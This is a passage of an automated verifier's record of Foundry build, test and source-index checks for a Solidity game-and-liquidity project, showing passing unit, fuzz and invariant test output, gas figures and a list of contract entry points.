invariant_coinsSoldEqualHoldingsUntilGraduation\n[PASS] invariant_erasedSeatsExcludedAndCapsHold\n[PASS] invariant_gameBalanceEqualsObligations\n[PASS] invariant_handlerSawNoViolation\n[PASS] invariant_liquidityEthAndImdFullyAccounted\n[PASS] invariant_statusAndConversionPhases\n[PASS] invariant_systemEthConserved\n V4BailConversionInvariantTest invariants (runs: 64, calls: 4096, reverts: 0)\n\n╭-----------+----------------+-------+---------+----------╮\n| Contract  | Selector       | Calls | Reverts | Discards |\n+=========================================================+\n| V4Handler | bailOut        | 301   | 0       | 0        |\n|-----------+----------------+-------+---------+----------|\n| V4Handler | burnChunk      | 165   | 0       | 0        |\n|-----------+----------------+-------+---------+----------|\n| V4Handler | claimGame      | 144   | 0       | 0        |\n|-----------+----------------+-------+---------+----------|\n| V4Handler | claimLiquidity | 155   | 0       | 0        |\n|-----------+----------------+-------+---------+----------|\n| V4Handler | convertAll     | 145   | 0       | 0        |\n|-----------+----------------+-------+---------+----------|\n| V4Handler | convertChunk   | 161   | 0       | 0        |\n|-----------+----------------+-------+---------+----------|\n| V4Handler | creditFees     | 163   | 0       | 0        |\n|-----------+----------------+-------+---------+----------|\n| V4Handler | distribute     | 145   | 0       | 0        |\n|-----------+----------------+-------+---------+----------|\n| V4Handler | enter          | 304   | 0       | 0        |\n|-----------+----------------+-------+---------+----------|\n| V4Handler | finalizeNow    | 125   | 0       | 0        |\n|-----------+----------------+-------+---------+----------|\n| V4Handler | fundBurn       | 169   | 0       | 0        |\n|-----------+----------------+-------+---------+----------|\n| V4Handler | fundCarry      | 161   | 0       | 0        |\n|-----------+----------------+-------+---------+----------|\n| V4Handler | graduate       | 160   | 0       | 0        |\n|-----------+----------------+-------+---------+----------|\n| V4Handler | launch         | 161   | 0       | 0        |\n|-----------+----------------+-------+---------+----------|\n| V4Handler | padUpkeep      | 160   | 0       | 0        |\n|-----------+----------------+-------+---------+----------|\n| V4Handler | poke           | 140   | 0       | 0        |\n|-----------+----------------+-------+---------+----------|\n| V4Handler | resolve        | 134   | 0       | 0        |\n|-----------+----------------+-------+---------+----------|\n| V4Handler | roll           | 429   | 0       | 0        |\n|-----------+----------------+-------+---------+----------|\n| V4Handler | takeCrown      | 153   | 0       | 0        |\n|-----------+----------------+-------+---------+----------|\n| V4Handler | trade          | 129   | 0       | 0        |\n|-----------+----------------+-------+---------+----------|\n| V4Handler | warp           | 321   | 0       | 0        |\n|-----------+----------------+-------+---------+----------|\n| V4Handler | warpDay        | 171   | 0       | 0        |\n╰-----------+----------------+-------+---------+----------╯\n\nLogs:\n  Bound result 15\n  Bound result 98773\n  Bound result 3\n  Bound result 9901\n  Bound result 12100000000000000\n  Bound result 499999999999999981\n  Bound result 0\n  Bound result 30000000000000000\n  Bound result 4\n  Bound result 12895\n  Bound result 109627429916810315\n  Bound result 267232239857592778\n  Bound result 5000\n  Bound result 58639\n  Bound result 1\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.79s (3.72s CPU time)\n\nRan 1 test for test/V3ResolverInvariant.t.sol:V3ResolverInvariantTest\n[PASS]\nV3ResolverInvariantTest invariants:\n[PASS] invariant_eachTipIsPendingExpiredOrOwedToItsActualResolver\n[PASS] invariant_paidETHAndTokensRemainFullyAccounted\n V3ResolverInvariantTest invariants (runs: 128, calls: 12288, reverts: 0)\n\n╭-----------------------+----------+-------+---------+----------╮\n| Contract              | Selector | Calls | Reverts | Discards |\n+===============================================================+\n| ResolverLedgerHandler | advance  | 3057  | 0       | 0        |\n|-----------------------+----------+-------+---------+----------|\n| ResolverLedgerHandler | claim    | 3129  | 0       | 0        |\n|-----------------------+----------+-------+---------+----------|\n| ResolverLedgerHandler | resolve  | 3087  | 0       | 0        |\n|-----------------------+----------+-------+---------+----------|\n| ResolverLedgerHandler | roll     | 3015  | 0       | 0        |\n╰-----------------------+----------+-------+---------+----------╯\n\nLogs:\n  Bound result 1\n  Bound result 16\n  Bound result 59\n  Bound result 13\n  Bound result 83\n  Bound result 30\n  Bound result 59\n  Bound result 24\n  Bound result 1\n  Bound result 21\n  Bound result 13\n  Bound result 18\n  Bound result 24\n  Bound result 89\n  Bound result 16\n  Bound result 2\n  Bound result 80\n  Bound result 6\n  Bound result 74\n  Bound result 28\n  Bound result 7\n  Bound result 74\n  Bound result 85\n  Bound result 89\n  Bound result 8\n  Bound result 71\n  Bound result 15\n  Bound result 50\n  Bound result 41\n  Bound result 11\n  Bound result 12\n  Bound result 18\n  Bound result 14\n  Bound result 1\n  Bound result 3\n  Bound result 63\n  Bound result 8\n  Bound result 11\n  Bound result 36\n  Bound result 61\n  Bound result 18\n  Bound result 6\n  Bound result 53\n  Bound result 21\n  Bound result 76\n  Bound result 22\n  Bound result 15\n  Bound result 4\n  Bound result 55\n  Bound result 43\n  Bound result 35\n  Bound result 30\n  Bound result 15\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.85s (5.78s CPU time)\n\nRan 24 test suites in 5.85s (36.03s CPU time): 248 tests passed, 0 failed, 0 skipped (248 total tests)\n","passed":true},{"durationMs":86,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"KingOfThePad.claim()\",\"KingOfThePad.distribute(uint256)\",\"KingOfThePad.takeCrown()\",\"PadGame.bailOut(uint256)\",\"PadGame.claim()\",\"PadGame.draw(uint256)\",\"PadGame.enter()\",\"PadGame.finalize()\",\"PadGame.fundPot()\",\"PadGame.graduate()\",\"PadGame.initialize(uint256,address,address,bool)\",\"PadGame.poke()\",\"PadGame.prepareConversion()\",\"PadGame.resolvePending(uint256)\",\"PadGame.roll()\",\"PadGame.upkeepStep(address)\",\"PadLiquidity.bindKing()\",\"PadLiquidity.burnChunk()\",\"PadLiquidity.claim()\",\"PadLiquidity.collectPool(uint256,address)\",\"PadLiquidity.convertChunk(address)\",\"PadLiquidity.deployHook(bytes32)\",\"PadLiquidity.distribute(uint256)\",\"PadLiquidity.executeConversion(uint256,uint160)\",\"PadLiquidity.fundBurn()\",\"PadLiquidity.graduate(uint256,address,uint256,uint256,uint256)\",\"PadLiquidity.observe(uint256)\",\"PadLiquidity.receive()\",\"PadLiquidity.retryPool(uint256)\",\"PadLiquidity.settleCrown()\",\"PadLiquidity.startConversion(uint256,uint64)\",\"PadLiquidity.unlockCallback(bytes)\",\"PadToken.approve(address,uint256)\",\"PadToken.initialize(string,string,address,address)\",\"PadToken.reclaim(address,uint256)\",\"PadToken.transfer(address,uint256)\",\"PadToken.transferFrom(address,address,uint256)\",\"PadToken.unlock()\",\"PvPPad.bindLiquidity()\",\"PvPPad.fundCarry()\",\"PvPPad.fundGames()\",\"PvPPad.launch(string,string,string)\",\"PvPPad.noteFirstEntry(uint256)\",\"PvPPad.openPad(bytes32)\",\"PvPPad.restartGenesis()\",\"PvPPad.startGenesis()\",\"PvPPad.takeCarry(uint256,uint256)\",\"PvPPad.upkeep()\",\"PvPPad.upkeepFor(address)\"],\"files\":{\".gitignore\":4,\"README.md\":267,\"docs/AUDIT-V2-HISTORY.md\":256,\"docs/AUDIT-V3-HISTORY.md\":311,\"docs/AUDIT.md\":454,\"docs/TEST-REPORT.md\":135,\"docs/VERIFY.md\":74,\"foundry.toml\":22,\"launch.json\":39,\"remappings.txt\":2,\"src/KingOfThePad.sol\":131,\"src/PadGame.sol\":821,\"src/PadHook.sol\":26,\"src/PadLiquidity.sol\":716,\"src/PadToken.sol\":94,\"src/PvPPad.sol\":315,\"src/interfaces/Interfaces.sol\":120,\"src/interfaces/PadErrors.sol\":87,\"src/libs/PadLib.sol\":120,\"test/Adversarial.t.sol\":800,\"test/AtomicDeployment.t.sol\":126,\"test/AuditV3.t.sol\":397,\"test/AuditV3CarryUpkeep.t.sol\":191,\"test/Base.t.sol\":229,\"test/CrownSettlement.t.sol\":252,\"test/Fuzz.t.sol\":293,\"test/Game.t.sol\":767,\"test/Invariants.t.sol\":580,\"test/King.t.sol\":314,\"test/LiquidityV4.t.sol\":248,\"test/Pad.t.sol\":299,\"test/Raffle.t.sol\":408,\"test/RaffleEdges.t.sol\":273,\"test/RealV4.sol\":85,\"test/Revision.t.sol\":263,\"test/V3-CONTRIBUTOR-REPORT.md\":126,\"test/V3AccountingActors.sol\":18,\"test/V3CarryProperties.t.sol\":130,\"test/V3FailureEdges.t.sol\":354,\"test/V3KingFeesInvariant.t.sol\":250,\"test/V3ResolverInvariant.t.sol\":208,\"test/V4BailConversionInvariant.t.sol\":734,\"test/V4Edges.t.sol\":663,\"test/V4Pad.t.sol\":1050,\"test/mocks/Mocks.sol\":32,\"tools/validate_manifest.py\":86},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"a9e3506ceb76acaa35ed0b38abdf7630d7a6706f03fb08e8387d580f223a55e7","verifiedTreeHash":"3a8c8631cf233f1cd4f8bc08283a1c1018413b2f","verifierVersion":"0.1.0+8fbf00a5"},{"checks":[{"durationMs":144257,"exitCode":0,"name":"build","output":"Compiling 96 files with Solc 0.8.26\nSolc 0.8.26 finished in 144.15s\nCompiler run successful!\n","passed":true},{"durationMs":5832,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 4 tests for test/V3FailureEdges.t.sol:V3PoolFailureEdgesTest\n[PASS] test_onlyCrownMayRequestStrictSettlementAndIndexErrorsDoNotChangeHealth() (gas: 176110)\n[PASS] test_retryInsideRealManagerUnlockCannotDiagnoseHealthyPoolAsBroken() (gas: 796374)\n[PASS] test_successBetweenFailuresRequiresThreeNewDistinctBlocksToBreakPool() (gas: 3626387)\n[PASS] test_tokenTransferFailureRollsBackBothFeeCurrenciesAndCanBeRecovered() (gas: 1388605)\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 26.81ms (2.84ms CPU time)\n\nRan 14 tests for test/King.t.sol:KingTest\n[PASS] test_burnChunkBuysPvpToDeadEvery10Minutes() (gas: 1047405)\n[PASS] test_burnChunkStopsAtOnePercentPriceMoveAndKeepsTheRest() (gas: 257755)\n[PASS] test_burnWaitsForPvpGraduation() (gas: 6797505)\n[PASS] test_challengeNeedsHoldAnd110Percent() (gas: 1097518)\n[PASS] test_distributeSendsPoolFeesToKing() (gas: 928671)\n[PASS] test_distributeWithoutKingLeavesFeesInPosition() (gas: 868603)\n[PASS] test_extraFundsLiveGamesByPotSize() (gas: 9373695)\n[PASS] test_firstBidMinimumAndFullSplit() (gas: 585971)\n[PASS] test_launchAfterGenesisPlaysAndGraduatesIntoOwnPool() (gas: 9510885)\n[PASS] test_refundToRejectingKingIsClaimable() (gas: 1036096)\n[PASS] test_sandwichOnBurnChunkDoesNotPay() (gas: 1003885)\n[PASS] test_takeCrownUpkeepPaysFinalizerFeeToBidder() (gas: 3914876)\n[PASS] test_unlockCallbackOnlyPoolManager() (gas: 35129)\n[PASS] test_upkeepForAcceptsKingContract() (gas: 168249)\nSuite result: ok. 14 passed; 0 failed; 0 skipped; finished in 37.39ms (11.41ms CPU time)\n\nRan 5 tests for test/AuditV3.t.sol:AuditV3GameTest\n[PASS] test_lapsedSeedIsIndependentOfCallerAndCaptureDelayAndBountyPaidOnce() (gas: 3002133)\n[PASS] test_nonGenesisSplitAndExpiredTipGoesToPotWithPenalty() (gas: 10377499)\n[PASS] test_resolveBatchClampsToSixteenAndLowGasStopsSafely() (gas: 20075094)\n[PASS] test_tenBlocksPerSecondSixtySecondRollerNeverExpiresWithResolver() (gas: 6245795)\n[PASS] test_upkeepSeedBountyGoesToCallerAndNotPad() (gas: 1953561)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 37.89ms (12.80ms CPU time)\n\nRan 2 tests for test/V4Pad.t.sol:V4FallbackTest\n[PASS] test_nativeGenesisThenIMDGraduationLeavesNoStrandedQuoteDust() (gas: 20114008)\n[PASS] test_zeroIMDAfter24HoursGraduatesNativeAndPreservesV3Burn() (gas: 11118536)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 54.83ms (53.18ms CPU time)\n\nRan 1 test for test/AtomicDeployment.t.sol:AtomicDeploymentTest\n[PASS] test_atomicManifestGasIncludingCalldataAndLaterGenesisFitsTarget() (gas: 65793262)\nLogs:\n  Raw CREATE2 manifest gas including calldata and intrinsic: 12221065\n  Later openPad including hook and genesis gas: 774342\n  Combined manifest and later opening gas: 12995407\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 80.49ms (80.31ms CPU time)\n\nRan 7 tests for test/AuditV3.t.sol:AuditV3KingTest\n[PASS] test_failedPoolRequiresThreeDistinctL2BlocksThenAnyoneCanRecoverIt() (gas: 2705223)\n[PASS] test_failedSettlementRollsBackEarlierHealthyPoolPayments() (gas: 6827810)\n[PASS] test_firstCrownAlsoRejectsUnlockedManager() (gas: 407057)\n[PASS] test_gasStarvedBidRevertsWithoutChangingCrownOrPoolHealth() (gas: 1191090)\n[PASS] test_outgoingKingGetsLargeTokenFeesInKindAndNextKingGetsNoStash() (gas: 2471051)\n[PASS] test_sixteenPoolsBothCurrenciesAndGasEatingKingFitSettlementBudget() (gas: 10139368)\nLogs:\n  16 real pools both currencies, rejecting king, bid gas used: 4795428\n\n[PASS] test_unlockCallbackCannotTakeCrownOrDistribute() (gas: 1935663)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 129.05ms (102.75ms CPU time)\n\nRan 35 tests for test/Game.t.sol:GameTest\n[PASS] test_bellEndsGame() (gas: 2094322)\n[PASS] test_claimableWinner() (gas: 2892101)\n[PASS] test_conservationOfEth() (gas: 5967849)\n[PASS] test_curveQuoteMatchesConstantProduct() (gas: 43172)\n[PASS] test_deadImpCannotRingTheBell() (gas: 2431463)\n[PASS] test_deadImpCannotRollWhileOthersPlay() (gas: 2487934)\n[PASS] test_deathAndAllDeadEnd() (gas: 1962879)\n[PASS] test_entryOnePerWalletAndSignupWindow() (gas: 1611267)\n[PASS] test_expiredRollMovesTowardZero() (gas: 2559142)\n[PASS] test_failedPushBecomesClaimable() (gas: 1579561)\n[PASS] test_finalizePaysTriangularRanksAndBell() (gas: 5481400)\n[PASS] test_finalizeRanksAndPays() (gas: 4828786)\n[PASS] test_finalizeWaitsForPendingRolls() (gas: 1797211)\n[PASS] test_finalizeWith200LivingImpsStaysUnderFiveMillionGas() (gas: 120397266)\n[PASS] test_finalizerFeeCapped() (gas: 12780765)\n[PASS] test_finalizerFeeNeverExceedsRollPot() (gas: 1844221)\n[PASS] test_firstEntryStartsSignupWithoutSeating() (gas: 374030)\n[PASS] test_fundPotOnlyPad() (gas: 43995)\n[PASS] test_fundedPotReleasedToFiveLivingCappedAtThreeTimesRollPot() (gas: 21361042)\n[PASS] test_fundedPotReturnsToCarryWhenFewerThanFiveLive() (gas: 3651831)\n[PASS] test_graduateOnlyFromGame() (gas: 73115)\n[PASS] test_graduationCreatesPoolUnlocksTokenBurnsExcess() (gas: 8134915)\n[PASS] test_graduationWithoutEthFailsAndBurns() (gas: 1570395)\n[PASS] test_hardEndAt50MinutesAfterPlayStart() (gas: 4223153)\n[PASS] test_nonGenesisBurnShareGoesToBurnBucket() (gas: 9595345)\n[PASS] test_resolveBatchIncludesTenRolls() (gas: 7502170)\n[PASS] test_rollAfterOwnBellReverts() (gas: 2395796)\n[PASS] test_rollRequiresPlayPhasePriceAndImp() (gas: 1978843)\n[PASS] test_rollResolvesAfterThreeBlocksWithArbHashes() (gas: 1906910)\n[PASS] test_rollResolvesOwnPreviousRoll() (gas: 1811275)\n[PASS] test_rollSplitGenesisBurnShareToPot() (gas: 1489133)\n[PASS] test_soldOutCurveSendsRollToPot() (gas: 1420771)\n[PASS] test_tieBreakFollowsCommitOrderNotResolutionOrder() (gas: 3190340)\n[PASS] test_tokenLockedUntilGraduation() (gas: 1576229)\n[PASS] test_upkeepFinalizesAndGraduatesDueGame() (gas: 2843574)\nSuite result: ok. 35 passed; 0 failed; 0 skipped; finished in 154.42ms (156.23ms CPU time)\n\nRan 21 tests for test/Pad.t.sol:PadTest\n[PASS] test_bindingsAndOwner() (gas: 107515)\n[PASS] test_bindingsAreOneShot() (gas: 87591)\n[PASS] test_carryPotStaysThroughNextDraw() (gas: 18124483)\n[PASS] test_closedPadRevertsEverything() (gas: 103611)\n[PASS] test_constructorsNeedNoExternalCodeAndMintNothing() (gas: 719314)\n[PASS] test_deployGasUnderBudget() (gas: 19942)\n[PASS] test_deployHookOnlyByPad() (gas: 33147)\n[PASS] test_failedGenesisIsRestartedByLaunchAndThePadRecovers() (gas: 19273920)\n[PASS] test_fundGamesOnlyKing() (gas: 39546)\n[PASS] test_hookRejectsForeignInitialize() (gas: 7965147)\n[PASS] test_launchRevertsUntilGenesisGraduates() (gas: 16354434)\n[PASS] test_launchValidatesStrings() (gas: 15655146)\n[PASS] test_openPadByAnyoneAfter30Days() (gas: 7835535)\n[PASS] test_openPadByOwnerDeploysHookWithExactFlag() (gas: 7869231)\n[PASS] test_openPadOnlyOnce() (gas: 7907664)\n[PASS] test_openPadRejectsBadSalt() (gas: 203501)\n[PASS] test_openPadStrangerBefore30DaysReverts() (gas: 7135289)\n[PASS] test_restartGenesisRevertsWhileGenesisWaitsOrPlays() (gas: 8262191)\n[PASS] test_runtimeSizesAndNoEscapeOpcodes() (gas: 38130507)\n[PASS] test_templatesCannotBeInitialized() (gas: 8006150)\n[PASS] test_upkeepForOnlyGames() (gas: 8058393)\nSuite result: ok. 21 passed; 0 failed; 0 skipped; finished in 283.78ms (450.09ms CPU time)\n\nRan 1 test for test/V3CarryProperties.t.sol:V3CarryPropertiesTest\n[PASS] testFuzz_onlyUnusedReleaseAllowanceLeavesCarryAtFinalization(uint256,uint256,uint256) (runs: 128, μ: 10788041, ~: 9637298)\nLogs:\n  Bound result 5\n  Bound result 250\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 376.50ms (351.08ms CPU time)\n\nRan 6 tests for test/RaffleEdges.t.sol:RaffleEdgesTest\n[PASS] testFuzz_above200ExactlyTwoHundredDistinctSeats(uint16,uint32,uint8) (runs: 24, μ: 83601907, ~: 81438926)\nLogs:\n  Bound result 245\n  Bound result 2\n\n[PASS] test_deathAtExactlyTenMinutesFromPlayStartAndAllDeadEndsTheGame() (gas: 2699237)\n[PASS] test_kingFundsSignupGameByEntriesAndFundedEthReturnsToCarryWhenNobodyRolls() (gas: 12036554)\n[PASS] test_repeatedDrawCallsInOneBlockOnlyAdvanceAfterSeedAndNeverSeatTwice() (gas: 71075527)\n[PASS] test_rollOneSecondBeforeHardEndWorksAndAtHardEndReverts() (gas: 4854281)\n[PASS] test_unselectedEntrantKeepsEntryHasNoSeatAndCannotRollOrReenter() (gas: 52860473)\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 1.02s (1.05s CPU time)\n\nRan 7 tests for test/CrownSettlement.t.sol:CrownSettlementTest\n[PASS] test_bidderCannotSteerCursorToDivertReignFees() (gas: 6337598)\n[PASS] test_brokenPoolSkippedByTwoCrownsPaysTheEarliestUnsettledReign() (gas: 2378546)\n[PASS] test_extraBidGasSettlesMorePoolsInOneBid() (gas: 19804305)\nLogs:\n  takeCrown gas, sixty real pools fully settled: 7804512\n\n[PASS] test_firstCrownOpensNoReignAndPaysPreCrownFeesToTheFirstKing() (gas: 712881)\n[PASS] test_nonKingCannotSettleOrCloseAReign() (gas: 467485)\n[PASS] test_poolsBeyondTheBidGasStayOwedToTheOutgoingKing() (gas: 23910069)\nLogs:\n  pools settled by a minimum-gas bid, sixty real pools: 40\n\n[PASS] test_settlementRevertsBelowSixteenPoolsAndSucceedsAbove() (gas: 6035415)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 1.31s (2.46s CPU time)\n\nRan 6 tests for test/AuditV3CarryUpkeep.t.sol:AuditV3CarryUpkeepTest\n[PASS] test_fiveWalletCarryChainOnlyPullsUnusedCapAtFinalize() (gas: 49691192)\n[PASS] test_fiveWalletNoRollChainNeverTakesCarry() (gas: 5331177)\n[PASS] test_ownGasEstimateEntryAndRollWithForeignDraw() (gas: 987076)\nLogs:\n  own entry gas limit: 185039\n  own roll gas limit: 187792\n\n[PASS] test_ownGasEstimateEntryAndRollWithForeignFinalize() (gas: 1021091)\nLogs:\n  own entry gas limit: 185039\n  own roll gas limit: 191464\n\n[PASS] test_ownGasEstimateEntryAndRollWithForeignGraduate() (gas: 1021457)\nLogs:\n  own entry gas limit: 185039\n  own roll gas limit: 191464\n\n[PASS] test_upkeepSubcallCanExhaustItsFullStipendWithoutRevertingEntry() (gas: 50657318)\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 1.95s (350.27ms CPU time)\n\nRan 9 tests for test/Fuzz.t.sol:FuzzTest\n[PASS] testFuzz_challengeBelow110PercentOrWithinHoldReverts(uint256,uint256,uint256) (runs: 200, μ: 16170818, ~: 16170804)\nLogs:\n  Bound result 12418363529576073759\n  Bound result 0\n  Bound result 137\n\n[PASS] testFuzz_challengeRefundsOldKingAndSplitsOnlyTheExtra(uint256,uint256) (runs: 200, μ: 16476014, ~: 16476032)\nLogs:\n  Bound result 19990000002428185801\n  Bound result 38010999997328995665\n\n[PASS] testFuzz_finalizePaysTopHalfWithTriangularWeightsAndNothingLeaks(uint8,uint256) (runs: 64, μ: 19129905, ~: 16655448)\nLogs:\n  Bound result 3\n  Bound result 876699592022354930\n\n[PASS] testFuzz_firstBidSplitsToTheWei(uint256) (runs: 200, μ: 16037808, ~: 16037825)\nLogs:\n  Bound result 28932960653973271998\n\n[PASS] testFuzz_fundedReleaseNeverExceedsThreeTimesRollIncome(uint8,uint256,uint8) (runs: 64, μ: 12342569, ~: 11573238)\nLogs:\n  Bound result 1\n  Bound result 1\n  Bound result 3454570121562513374\n\n[PASS] testFuzz_quoteFromAnyCurveStateIsConsistent(uint256,uint256) (runs: 1000, μ: 37797, ~: 37819)\nLogs:\n  Bound result 13\n  Bound result 1000000000000000000\n\n[PASS] testFuzz_quoteFromFreshCurveNeverUndercharges(uint256) (runs: 1000, μ: 21798, ~: 21373)\nLogs:\n  Bound result 99999999999999999998\n\n[PASS] testFuzz_quoteIsMonotoneInEth(uint256,uint256,uint256) (runs: 500, μ: 38404, ~: 38570)\nLogs:\n  Bound result 404284521931462223\n  Bound result 3055766169896858080\n  Bound result 3888467660267248490\n\n[PASS] testFuzz_rollSplitConservesEveryWei(uint8,bool) (runs: 64, μ: 15520251, ~: 14910679)\nLogs:\n  Bound result 9\n\nSuite result: ok. 9 passed; 0 failed; 0 skipped; finished in 2.12s (11.20s CPU time)\n\nRan 5 tests for test/V3FailureEdges.t.sol:V3GameFailureEdgesTest\n[PASS] testFuzz_everyResolutionWindowOffsetPreservesTheTip(uint256) (runs: 1000, μ: 1742283, ~: 1751462)\nLogs:\n  Bound result 348\n\n[PASS] test_drawBountyCallbackCannotCaptureAgainOrAdvanceExtraSeats() (gas: 2069004)\n[PASS] test_finalizeBatchFailureRollsBackTipsAndPartialResolutionUntilPermissionlessProgress() (gas: 43201169)\n[PASS] test_optionalDistributeAndBurnMayBothExhaustCapsWithoutRevertingEntryOrRoll() (gas: 3686697)\nLogs:\n  entry with both liquidity upkeep stipends exhausted: 1353993\n  roll with both liquidity upkeep stipends exhausted: 1453704\n\n[PASS] test_resolverDebtSurvivesFinalizationGraduationAndRejectedClaim() (gas: 2946886)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 2.12s (2.12s CPU time)\n\nRan 1 test for test/Invariants.t.sol:InvariantTest\n[PASS]\nInvariantTest invariants:\n[PASS] invariant_callSummary\n[PASS] invariant_curveNeverUnderchargesAndNeverOversells\n[PASS] invariant_fundedPotIsPartOfPotAndClearedByFinalize\n[PASS] invariant_gameBalanceEqualsObligations\n[PASS] invariant_genesisGatesLaunchesAndKing\n[PASS] invariant_impsAndRollsBounded\n[PASS] invariant_kingHoldsOnlyClaimables\n[PASS] invariant_liquidityBalanceEqualsObligations\n[PASS] invariant_padHoldsOnlyCarryPot\n[PASS] invariant_systemEthConserved\n[PASS] invariant_tokenSupplyFixedAndFullyAccounted\n[PASS] invariant_tokenUnlockedOnlyBySuccessfulGraduation\n InvariantTest invariants (runs: 40, calls: 2400, reverts: 86)\n\n╭------------+----------------+-------+---------+----------╮\n| Contract   | Selector       | Calls | Reverts | Discards |\n+==========================================================+\n| PadHandler | burnChunk      | 90    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | claimGame      | 100   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | claimKing      | 102   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | claimLiquidity | 90    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | creditFees     | 99    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | distribute     | 104   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | draw           | 87    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | enter          | 112   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | finalize       | 98    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | fundBurn       | 112   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | fundCarry      | 94    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | fundPot        | 86    | 86      | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | graduate       | 105   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | launch         | 98    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | padUpkeep      | 105   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | poke           | 105   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | resolve        | 100   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | restartGenesis | 120   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | roll           | 192   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | takeCrown      | 92    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | tokenTransfer  | 102   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | warp           | 207   | 0       | 0        |\n╰------------+----------------+-------+---------+----------╯\n\nLogs:\n  Bound result 23004\n  Bound result 2995000000000010001\n  Bound result 376138608389625840\n  Bound result 11044\n  Bound result 2751\n  Bound result 410\n  Bound result 289\n  Bound result 240\n  Bound result 37\n  Bound result 1994836\n  Bound result 4\n  Bound result 91\n  Bound result 2995000000000002619\n  Bound result 36\n  Bound result 1\n  Bound result 10\n  Bound result 0\n  Bound result 2995000000000016701\n  Bound result 0\n  Bound result 51\n  Bound result 10\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.59s (2.57s CPU time)\n\nRan 9 tests for test/Revision.t.sol:RevisionTest\n[PASS] test_carryStaysInPadEvenAfterFiveSeats() (gas: 20372513)\n[PASS] test_freeLaunchesDoNotCrowdEnteredGamesOutOfTheKingWindowOrUpkeep() (gas: 26374140)\n[PASS] test_fullRangeSqrtPriceConstantsMatchTickMath() (gas: 16981)\n[PASS] test_liquidityClaimLockIsSeparateFromThePoolGuard() (gas: 16593176)\n[PASS] test_outgoingKingIsPaidEvenWhenTheBidComesFromInsideLiquidityClaim() (gas: 17507045)\n[PASS] test_seatedEventUsesTheSameOneBasedIndexesAsTheViews() (gas: 8545082)\n[PASS] test_soleBuyerSybilLosesMoneyEvenAfterDumpingEveryTokenAndTakingTheCappedRelease() (gas: 17955613)\nLogs:\n  curve ETH raised: 441000000000000000\n  sybil net outlay before the dump: 399450000000000000\n  dump proceeds: 259263336672922359\n\n[PASS] test_takeCarryAndNoteFirstEntryAreGameOnly() (gas: 16232900)\n[PASS] test_takeCrownRevertsInsteadOfSkippingTheOutgoingKingWhileLiquidityIsLocked() (gas: 16180667)\nSuite result: ok. 9 passed; 0 failed; 0 skipped; finished in 2.80s (335.59ms CPU time)\n\nRan 9 tests for test/LiquidityV4.t.sol:LiquidityV4Test\n[PASS] test_collectPoolRejectsExternalCallers() (gas: 35326)\n[PASS] test_crownPrecollectsAllEighteenPools() (gas: 19484236)\nLogs:\n  takeCrown gas, eighteen real pools: 2829928\n\n[PASS] test_failedDistributorBlocksCrown() (gas: 16069746)\n[PASS] test_oneFailingPoolCannotBlockBidOrHealthyPoolFees() (gas: 22208267)\n[PASS] test_outgoingKingReceivesFeesBeforeCrownEvent() (gas: 16760396)\n[PASS] test_realBurnIgnoresAnUnrelatedPriorTokenSync() (gas: 15735418)\n[PASS] test_realPoolManagerGraduatesSoldOutAfter2400ActualRolls() (gas: 8787228)\n[PASS] test_realPoolManagerSmallestRaiseGraduatesAndConservesAccounting() (gas: 10589812)\n[PASS] test_realTradingTokenFeesPaidInKindWithoutSwap() (gas: 16457213)\nSuite result: ok. 9 passed; 0 failed; 0 skipped; finished in 2.80s (1.12s CPU time)\n\nRan 36 tests for test/Adversarial.t.sol:AdversarialTest\n[PASS] test_bellOnlyRingsOnceAndNotForNegativeClampOverflow() (gas: 10288838)\n[PASS] test_bellRingerOutsideTopHalfStillGetsBellShare() (gas: 11094037)\n[PASS] test_claimNothingReverts() (gas: 8017866)\n[PASS] test_constructorsRejectZeroAddresses() (gas: 9655)\n[PASS] test_crownEventAndSameKingMayRebid() (gas: 16413812)\n[PASS] test_curveNeverUnderchargesAlongRealRolls() (gas: 19675305)\n[PASS] test_distributeRoundRobinAcrossPools() (gas: 26240590)\n[PASS] test_expiredRollAtZeroHeightStaysZeroAndNeverRingsBell() (gas: 9463954)\n[PASS] 